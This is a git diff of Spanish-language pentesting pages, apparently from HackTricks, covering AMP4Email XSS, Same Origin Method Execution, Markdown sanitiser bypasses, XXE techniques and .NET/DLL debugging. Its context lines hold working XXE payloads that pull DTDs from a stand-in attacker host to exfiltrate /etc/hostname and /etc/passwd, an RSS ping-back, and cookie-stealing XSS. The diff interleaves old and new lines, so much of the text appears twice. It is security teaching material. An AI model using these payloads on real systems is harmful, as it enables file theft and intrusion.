AMP, destinado a acelerar el rendimiento de las páginas web en dispositivos móviles, incorpora etiquetas HTML complementadas por JavaScript para garantizar la funcionalidad con un énfasis en la velocidad y la seguridad. Soporta una variedad de componentes para diversas características, accesibles a través de [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
AMP, destinado a acelerar el rendimiento de las páginas web en dispositivos móviles, incorpora etiquetas HTML complementadas por JavaScript para asegurar la funcionalidad con un énfasis en la velocidad y la seguridad. Soporta una variedad de componentes para diversas características, accesibles a través de [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
El formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) extiende componentes AMP específicos a los correos electrónicos, permitiendo a los destinatarios interactuar con el contenido directamente dentro de sus correos electrónicos.
|
||||
El formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) extiende componentes AMP específicos a los correos electrónicos, permitiendo a los destinatarios interactuar con el contenido directamente dentro de sus correos.
|
||||
|
||||
Ejemplo [**writeup XSS en Amp4Email en Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# SOME - Ejecución de Método de Misma Origen
|
||||
# SOME - Same Origin Method Execution
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Ejecución de Método de Misma Origen
|
||||
## Same Origin Method Execution
|
||||
|
||||
Habrá ocasiones en las que podrás ejecutar un javascript limitado en una página. Por ejemplo, en el caso en que puedes [**controlar un valor de callback que será ejecutado**](./#javascript-function).
|
||||
Habrá ocasiones en las que podrás ejecutar un javascript limitado en una página. Por ejemplo, en el caso en que puedes [**controlar un valor de callback que será ejecutado**](#javascript-function).
|
||||
|
||||
En esos casos, una de las mejores cosas que podrías hacer es **acceder al DOM para llamar a cualquier** acción sensible que puedas encontrar allí (como hacer clic en un botón). Sin embargo, generalmente encontrarás esta vulnerabilidad en **pequeños endpoints sin nada interesante en el DOM**.
|
||||
|
||||
@ -22,20 +22,20 @@ Básicamente, el flujo del ataque es el siguiente:
|
||||
> [!CAUTION]
|
||||
> Ten en cuenta que incluso si la página inicial accede a una nueva URL después de haber creado la segunda página, el **objeto `opener` de la segunda página sigue siendo una referencia válida a la primera página en el nuevo DOM**.
|
||||
>
|
||||
> Además, para que la segunda página pueda usar el objeto opener **ambas páginas deben estar en el mismo origen**. Esta es la razón por la cual, para abusar de esta vulnerabilidad, necesitas encontrar algún tipo de **XSS en el mismo origen**.
|
||||
> Además, para que la segunda página pueda usar el objeto opener, **ambas páginas deben estar en el mismo origen**. Esta es la razón por la cual, para abusar de esta vulnerabilidad, necesitas encontrar algún tipo de **XSS en el mismo origen**.
|
||||
|
||||
### Explotación
|
||||
### Exploitation
|
||||
|
||||
- Puedes usar este formulario para **generar un PoC** para explotar este tipo de vulnerabilidad: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
|
||||
- Para encontrar un camino DOM a un elemento HTML con un clic, puedes usar esta extensión de navegador: [https://www.someattack.com/Playground/targeting_tool](https://www.someattack.com/Playground/targeting_tool)
|
||||
- Para encontrar una ruta DOM a un elemento HTML con un clic, puedes usar esta extensión de navegador: [https://www.someattack.com/Playground/targeting_tool](https://www.someattack.com/Playground/targeting_tool)
|
||||
|
||||
### Ejemplo
|
||||
### Example
|
||||
|
||||
- Puedes encontrar un ejemplo vulnerable en [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
|
||||
- Ten en cuenta que en este ejemplo el servidor está **generando código javascript** y **agregándolo** al HTML basado en el **contenido del parámetro callback:** `<script>opener.{callbacl_content}</script>`. Por eso en este ejemplo no necesitas indicar el uso de `opener` explícitamente.
|
||||
- Ten en cuenta que en este ejemplo el servidor está **generando código javascript** y **agregándolo** al HTML basado en el **contenido del parámetro de callback:** `<script>opener.{callbacl_content}</script>`. Por eso en este ejemplo no necesitas indicar el uso de `opener` explícitamente.
|
||||
- También revisa este writeup de CTF: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
|
||||
|
||||
## Referencias
|
||||
## References
|
||||
|
||||
- [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/)
|
||||
|
||||
|
||||
@ -14,7 +14,7 @@ alert(1)
|
||||
</script>
|
||||
<img src="x" onerror="alert(1)" />
|
||||
```
|
||||
Puedes encontrar más ejemplos en la [página principal de XSS de hacktricks](./).
|
||||
Puedes encontrar más ejemplos en la [página principal de XSS de hacktricks]().
|
||||
|
||||
### Enlaces de Javascript
|
||||
|
||||
@ -42,7 +42,7 @@ t:prompt(document.cookie))
|
||||
```
|
||||
### HTML Sanitiser Markdown Bypass
|
||||
|
||||
El siguiente código está **sanitizando la entrada HTML** y luego **pasándola al analizador de markdown**, luego, se puede activar XSS abusando de las malas interpretaciones entre Markdown y DOMPurify.
|
||||
El siguiente código está **sanitizando la entrada HTML** y luego **pasándola al analizador de markdown**, luego, se puede activar XSS abusando de las malas interpretaciones entre Markdown y DOMPurify 
|
||||
```html
|
||||
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
|
||||
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
|
||||
|
||||
@ -83,7 +83,7 @@ Un XXE podría ser utilizado para abusar de un SSRF dentro de una nube.
|
||||
```
|
||||
### Blind SSRF
|
||||
|
||||
Usando la **técnica comentada anteriormente** puedes hacer que el servidor acceda a un servidor que controlas para mostrar que es vulnerable. Pero, si eso no funciona, puede ser porque **las entidades XML no están permitidas**, en ese caso podrías intentar usar **entidades de parámetros XML**:
|
||||
Usando la **técnica comentada anteriormente** puedes hacer que el servidor acceda a un servidor que controlas para mostrar que es vulnerable. Pero, si eso no funciona, tal vez sea porque **las entidades XML no están permitidas**, en ese caso podrías intentar usar **entidades de parámetros XML**:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
@ -91,7 +91,7 @@ Usando la **técnica comentada anteriormente** puedes hacer que el servidor acce
|
||||
```
|
||||
### "Blind" SSRF - Exfiltrar datos fuera de banda
|
||||
|
||||
**En esta ocasión vamos a hacer que el servidor cargue un nuevo DTD con una carga útil maliciosa que enviará el contenido de un archivo a través de una solicitud HTTP (para archivos de varias líneas, podrías intentar exfiltrarlo a través de \_ftp://**\_ usando este servidor básico como por ejemplo [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Esta explicación se basa en** [**Portswiggers lab aquí**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**En esta ocasión vamos a hacer que el servidor cargue un nuevo DTD con una carga útil maliciosa que enviará el contenido de un archivo a través de una solicitud HTTP (para archivos de varias líneas podrías intentar exfiltrarlo a través de \_ftp://**\_ usando este servidor básico como por ejemplo [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Esta explicación se basa en** [**Portswiggers lab aquí**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
En el DTD malicioso dado, se llevan a cabo una serie de pasos para exfiltrar datos:
|
||||
|
||||
@ -121,13 +121,13 @@ El atacante aloja este DTD malicioso en un servidor bajo su control, típicament
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Este payload define una entidad de parámetro XML `%xxe` e incorpora esto dentro del DTD. Cuando es procesado por un analizador XML, este payload obtiene el DTD externo del servidor del atacante. El analizador luego interpreta el DTD en línea, ejecutando los pasos descritos en el DTD malicioso y llevando a la exfiltración del archivo `/etc/hostname` al servidor del atacante.
|
||||
Este payload define una entidad de parámetro XML `%xxe` e incorpora esta entidad dentro del DTD. Cuando es procesado por un analizador XML, este payload obtiene el DTD externo del servidor del atacante. El analizador luego interpreta el DTD en línea, ejecutando los pasos descritos en el DTD malicioso y llevando a la exfiltración del archivo `/etc/hostname` al servidor del atacante.
|
||||
|
||||
### Basado en Errores (DTD Externo)
|
||||
### Error Based(External DTD)
|
||||
|
||||
**En este caso, vamos a hacer que el servidor cargue un DTD malicioso que mostrará el contenido de un archivo dentro de un mensaje de error (esto solo es válido si puedes ver mensajes de error).** [**Ejemplo de aquí.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
Un mensaje de error de análisis XML, revelando el contenido del archivo `/etc/passwd`, puede ser desencadenado utilizando un Documento Tipo de Definición (DTD) externo malicioso. Esto se logra a través de los siguientes pasos:
|
||||
Un mensaje de error de análisis XML, que revela el contenido del archivo `/etc/passwd`, puede ser desencadenado utilizando un Documento Tipo de Definición (DTD) externo malicioso. Esto se logra a través de los siguientes pasos:
|
||||
|
||||
1. Se define una entidad de parámetro XML llamada `file`, que contiene el contenido del archivo `/etc/passwd`.
|
||||
2. Se define una entidad de parámetro XML llamada `eval`, incorporando una declaración dinámica para otra entidad de parámetro XML llamada `error`. Esta entidad `error`, cuando se evalúa, intenta cargar un archivo inexistente, incorporando el contenido de la entidad `file` como su nombre.
|
||||
@ -140,11 +140,11 @@ El DTD externo malicioso puede ser invocado con el siguiente XML:
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Al ejecutar, la respuesta del servidor web debería incluir un mensaje de error que muestre el contenido del archivo `/etc/passwd`.
|
||||
Al ejecutarse, la respuesta del servidor web debería incluir un mensaje de error que muestre el contenido del archivo `/etc/passwd`.
|
||||
|
||||
.png>)
|
||||
|
||||
_**Tenga en cuenta que el DTD externo nos permite incluir una entidad dentro de la segunda (\*\***`eval`\***\*), pero está prohibido en el DTD interno. Por lo tanto, no puede forzar un error sin usar un DTD externo (generalmente).**_
|
||||
_**Por favor, note que el DTD externo nos permite incluir una entidad dentro de la segunda (\*\***`eval`\***\*), pero está prohibido en el DTD interno. Por lo tanto, no se puede forzar un error sin usar un DTD externo (usualmente).**_
|
||||
|
||||
### **Error Basado (DTD del sistema)**
|
||||
|
||||
@ -219,7 +219,7 @@ Testing 0 entities : []
|
||||
```
|
||||
### XXE a través de analizadores de Office Open XML
|
||||
|
||||
Para una explicación más detallada de este ataque, **consulta la segunda sección de** [**esta increíble publicación**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **de Detectify**.
|
||||
Para una explicación más detallada de este ataque, **consulta la segunda sección de** [**este increíble post**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **de Detectify**.
|
||||
|
||||
La capacidad de **subir documentos de Microsoft Office es ofrecida por muchas aplicaciones web**, que luego proceden a extraer ciertos detalles de estos documentos. Por ejemplo, una aplicación web puede permitir a los usuarios importar datos subiendo una hoja de cálculo en formato XLSX. Para que el analizador extraiga los datos de la hoja de cálculo, inevitablemente necesitará analizar al menos un archivo XML.
|
||||
|
||||
@ -241,9 +241,9 @@ jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Poder acceder a archivos dentro de archivos PKZIP es **súper útil para abusar de XXE a través de archivos DTD del sistema.** Consulta [esta sección para aprender cómo abusar de archivos DTD del sistema](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
> Para poder acceder a archivos dentro de archivos PKZIP es **súper útil abusar de XXE a través de archivos DTD del sistema.** Consulta [esta sección para aprender cómo abusar de archivos DTD del sistema](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
|
||||
El proceso para acceder a un archivo dentro de un archivo PKZIP a través del protocolo jar implica varios pasos:
|
||||
El proceso detrás del acceso a un archivo dentro de un archivo PKZIP a través del protocolo jar implica varios pasos:
|
||||
|
||||
1. Se realiza una solicitud HTTP para descargar el archivo zip desde una ubicación especificada, como `https://download.website.com/archive.zip`.
|
||||
2. La respuesta HTTP que contiene el archivo se almacena temporalmente en el sistema, típicamente en una ubicación como `/tmp/...`.
|
||||
@ -257,7 +257,7 @@ Una técnica interesante para interrumpir este proceso en el segundo paso implic
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Escribir archivos en un directorio temporal puede ayudar a **escalar otra vulnerabilidad que involucra una traversía de ruta** (como inclusión de archivos locales, inyección de plantillas, RCE de XSLT, deserialización, etc).
|
||||
> Escribir archivos en un directorio temporal puede ayudar a **escalar otra vulnerabilidad que involucra un recorrido de ruta** (como inclusión de archivos locales, inyección de plantillas, RCE de XSLT, deserialización, etc).
|
||||
|
||||
### XSS
|
||||
```xml
|
||||
@ -336,7 +336,7 @@ Otro método implica intentar **ejecutar comandos** a través del envoltorio "ex
|
||||
```
|
||||
En ambos casos, se utiliza el formato SVG para lanzar ataques que explotan las capacidades de procesamiento XML del software del servidor, destacando la necesidad de una validación de entrada robusta y medidas de seguridad.
|
||||
|
||||
Consulta [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) para más información!
|
||||
¡Consulta [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) para más información!
|
||||
|
||||
**Nota: la primera línea del archivo leído o del resultado de la ejecución aparecerá DENTRO de la imagen creada. Así que necesitas poder acceder a la imagen que SVG ha creado.**
|
||||
|
||||
@ -368,7 +368,7 @@ Content-Length: 52
|
||||
```
|
||||
### Content-Type: De JSON a XEE
|
||||
|
||||
Para cambiar la solicitud, podrías usar una extensión de Burp llamada “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) puedes encontrar este ejemplo:
|
||||
Para cambiar la solicitud, podrías usar una extensión de Burp llamada “**Content Type Converter**“. [Aquí](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) puedes encontrar este ejemplo:
|
||||
```xml
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
|
||||
@ -408,7 +408,7 @@ Esto solo funciona si el servidor XML acepta el protocolo `data://`.
|
||||
|
||||
### UTF-7
|
||||
|
||||
Puedes usar la \[**"Receta de Codificación" de cyberchef aquí ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transforma a UTF-7.
|
||||
Puedes usar la \[**"Encode Recipe**" de cyberchef aquí ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) para transformar a UTF-7.
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
@ -430,7 +430,7 @@ Si la web está usando Java, puedes verificar el [**jar: protocol**](xxe-xee-xml
|
||||
|
||||
Truco de [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Puedes crear una **entidad dentro de una entidad** codificándola con **html entities** y luego llamarla para **cargar un dtd**.\
|
||||
Ten en cuenta que las **HTML Entities** utilizadas deben ser **numéricas** (como \[en este ejemplo]\([https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
Ten en cuenta que las **HTML Entities** utilizadas deben ser **numéricas** (como \[en este ejemplo]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
<data>
|
||||
@ -478,7 +478,7 @@ Este ejemplo está inspirado en [https://pwn.vg/articles/2021-06/local-file-read
|
||||
|
||||
XLIFF (XML Localization Interchange File Format) se utiliza para estandarizar el intercambio de datos en procesos de localización. Es un formato basado en XML utilizado principalmente para transferir datos localizables entre herramientas durante la localización y como un formato de intercambio común para herramientas de CAT (Computer-Aided Translation).
|
||||
|
||||
### Análisis de Solicitudes Ciegas
|
||||
### Análisis de Solicitud Ciega
|
||||
|
||||
Se realiza una solicitud al servidor con el siguiente contenido:
|
||||
```xml
|
||||
@ -534,7 +534,7 @@ Para incluir el contenido del archivo en el mensaje de error, se ajusta el archi
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Esta modificación conduce a la exitosa exfiltración del contenido del archivo, ya que se refleja en la salida de error enviada a través de HTTP. Esto indica un ataque XXE (XML External Entity) exitoso, aprovechando tanto técnicas Out of Band como Error-Based para extraer información sensible.
|
||||
Esta modificación conduce a la exfiltración exitosa del contenido del archivo, ya que se refleja en la salida de error enviada a través de HTTP. Esto indica un ataque XXE (XML External Entity) exitoso, aprovechando tanto técnicas Out of Band como Error-Based para extraer información sensible.
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
@ -542,7 +542,7 @@ XML válido con formato RSS para explotar una vulnerabilidad XXE.
|
||||
|
||||
### Ping back
|
||||
|
||||
Solicitud HTTP simple al servidor del atacante
|
||||
Solicitud HTTP simple al servidor del atacante.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
@ -671,7 +671,7 @@ XMLDecoder es una clase de Java que crea objetos basados en un mensaje XML. Si u
|
||||
</void>
|
||||
</java>
|
||||
```
|
||||
## Herramientas
|
||||
## Tools
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/luisfontes19/xxexploiter
|
||||
|
||||
@ -21,7 +21,7 @@ Software:
|
||||
- [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo)
|
||||
- [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec)
|
||||
|
||||
## Descompilador .NET
|
||||
## Descompilador de .NET
|
||||
|
||||
### [dotPeek](https://www.jetbrains.com/decompiler/)
|
||||
|
||||
@ -34,20 +34,20 @@ El mérito aquí es que si un código fuente perdido requiere restauración desd
|
||||
Con un modelo de complemento integral y una API que extiende la herramienta para adaptarse a tus necesidades exactas, .NET Reflector ahorra tiempo y simplifica el desarrollo. Echemos un vistazo a la plétora de servicios de ingeniería inversa que esta herramienta proporciona:
|
||||
|
||||
- Proporciona una visión de cómo fluyen los datos a través de una biblioteca o componente
|
||||
- Proporciona información sobre la implementación y uso de lenguajes y marcos .NET
|
||||
- Proporciona información sobre la implementación y uso de lenguajes y marcos de .NET
|
||||
- Encuentra funcionalidades no documentadas y no expuestas para obtener más de las APIs y tecnologías utilizadas.
|
||||
- Encuentra dependencias y diferentes ensamblajes
|
||||
- Localiza la ubicación exacta de errores en tu código, componentes de terceros y bibliotecas.
|
||||
- Localiza exactamente la ubicación de errores en tu código, componentes de terceros y bibliotecas.
|
||||
- Depura en la fuente de todo el código .NET con el que trabajas.
|
||||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[Plugin ILSpy para Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Puedes tenerlo en cualquier sistema operativo (puedes instalarlo directamente desde VSCode, no es necesario descargar el git. Haz clic en **Extensiones** y **busca ILSpy**).\
|
||||
Si necesitas **descompilar**, **modificar** y **recompilar** de nuevo, puedes usar [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) o un fork mantenido activamente de él, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Clic derecho -> Modificar Método** para cambiar algo dentro de una función).
|
||||
[Complemento ILSpy para Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Puedes tenerlo en cualquier sistema operativo (puedes instalarlo directamente desde VSCode, no es necesario descargar el git. Haz clic en **Extensiones** y **busca ILSpy**).\
|
||||
Si necesitas **descompilar**, **modificar** y **recompilar** nuevamente, puedes usar [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) o un fork mantenido activamente de él, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Clic derecho -> Modificar método** para cambiar algo dentro de una función).
|
||||
|
||||
### Registro de DNSpy
|
||||
|
||||
Para hacer que **DNSpy registre alguna información en un archivo**, podrías usar este fragmento:
|
||||
Para hacer que **DNSpy registre información en un archivo**, podrías usar este fragmento:
|
||||
```cs
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
@ -57,7 +57,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
|
||||
|
||||
Para depurar código usando DNSpy, necesitas:
|
||||
|
||||
Primero, cambiar los **atributos de la Asamblea** relacionados con la **depuración**:
|
||||
Primero, cambia los **atributos de ensamblado** relacionados con la **depuración**:
|
||||
|
||||
.png>)
|
||||
```aspnet
|
||||
@ -78,7 +78,7 @@ Luego guarda el nuevo archivo a través de _**Archivo >> Guardar módulo...**_:
|
||||
|
||||
.png>)
|
||||
|
||||
Esto es necesario porque si no lo haces, en **tiempo de ejecución** se aplicarán varias **optimizaciones** al código y podría ser posible que mientras depuras un **punto de interrupción nunca se active** o algunas **variables no existan**.
|
||||
Esto es necesario porque si no lo haces, en **tiempo de ejecución** se aplicarán varias **optimizaciones** al código y podría ser posible que mientras depuras un **punto de interrupción nunca se active** o que algunas **variables no existan**.
|
||||
|
||||
Luego, si tu aplicación .NET está siendo **ejecutada** por **IIS**, puedes **reiniciarla** con:
|
||||
```
|
||||
@ -125,7 +125,7 @@ Haz clic derecho en cualquier módulo en **Assembly Explorer** y haz clic en **S
|
||||
|
||||
.png>)
|
||||
|
||||
Luego, cuando comiences a depurar **la ejecución se detendrá cuando se cargue cada DLL**, luego, cuando rundll32 cargue tu DLL, la ejecución se detendrá.
|
||||
Luego, cuando comiences a depurar, **la ejecución se detendrá cuando se cargue cada DLL**, luego, cuando rundll32 cargue tu DLL, la ejecución se detendrá.
|
||||
|
||||
Pero, ¿cómo puedes llegar al código de la DLL que fue cargada? Usando este método, no sé cómo.
|
||||
|
||||
@ -134,13 +134,13 @@ Pero, ¿cómo puedes llegar al código de la DLL que fue cargada? Usando este m
|
||||
- **Cargar rundll32** (64 bits en C:\Windows\System32\rundll32.exe y 32 bits en C:\Windows\SysWOW64\rundll32.exe)
|
||||
- **Cambiar la Línea de Comando** (_File --> Change Command Line_) y establecer la ruta de la dll y la función que deseas llamar, por ejemplo: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
|
||||
- Cambiar _Options --> Settings_ y seleccionar "**DLL Entry**".
|
||||
- Luego **iniciar la ejecución**, el depurador se detendrá en cada main de dll, en algún momento te **detendrás en la entrada de dll de tu dll**. Desde allí, solo busca los puntos donde deseas poner un punto de interrupción.
|
||||
- Luego **iniciar la ejecución**, el depurador se detendrá en cada main de dll, en algún momento te **detendrás en la entrada de la dll**. Desde allí, solo busca los puntos donde deseas poner un punto de interrupción.
|
||||
|
||||
Ten en cuenta que cuando la ejecución se detiene por cualquier razón en win64dbg puedes ver **en qué código estás** mirando en **la parte superior de la ventana de win64dbg**:
|
||||
Ten en cuenta que cuando la ejecución se detiene por cualquier razón en win64dbg, puedes ver **en qué código estás** mirando en **la parte superior de la ventana de win64dbg**:
|
||||
|
||||
.png>)
|
||||
|
||||
Luego, mirando esto puedes ver cuándo se detuvo la ejecución en la dll que deseas depurar.
|
||||
Luego, mirando esto, puedes ver cuándo se detuvo la ejecución en la dll que deseas depurar.
|
||||
|
||||
## Aplicaciones GUI / Videojuegos
|
||||
|
||||
@ -150,9 +150,9 @@ Luego, mirando esto puedes ver cuándo se detuvo la ejecución en la dll que des
|
||||
cheat-engine.md
|
||||
{{#endref}}
|
||||
|
||||
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) es una herramienta de interfaz/reverse engineering para el Depurador del Proyecto GNU (GDB), enfocada en juegos. Sin embargo, se puede usar para cualquier cosa relacionada con la ingeniería inversa.
|
||||
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) es una herramienta de front-end/reverse engineering para el Depurador del Proyecto GNU (GDB), enfocada en juegos. Sin embargo, se puede usar para cualquier cosa relacionada con la ingeniería inversa.
|
||||
|
||||
[**Decompiler Explorer**](https://dogbolt.org/) es una interfaz web para varios descompiladores. Este servicio web te permite comparar la salida de diferentes descompiladores en pequeños ejecutables.
|
||||
[**Decompiler Explorer**](https://dogbolt.org/) es un front-end web para varios descompiladores. Este servicio web te permite comparar la salida de diferentes descompiladores en pequeños ejecutables.
|
||||
|
||||
## ARM & MIPS
|
||||
|
||||
@ -168,7 +168,7 @@ https://github.com/nongiach/arm_now
|
||||
Luego, necesitas **adjuntar un depurador** (Ida o x64dbg) al proceso y poner un **punto de interrupción en la dirección de memoria indicada** y **reanudar** la ejecución. De esta manera estarás depurando el shellcode.
|
||||
|
||||
La página de lanzamientos de github contiene zips con los lanzamientos compilados: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Puedes encontrar una versión ligeramente modificada de Blobrunner en el siguiente enlace. Para compilarlo, simplemente **crea un proyecto C/C++ en Visual Studio Code, copia y pega el código y compílalo**.
|
||||
Puedes encontrar una versión ligeramente modificada de Blobrunner en el siguiente enlace. Para compilarlo, simplemente **crea un proyecto en C/C++ en Visual Studio Code, copia y pega el código y compílalo**.
|
||||
|
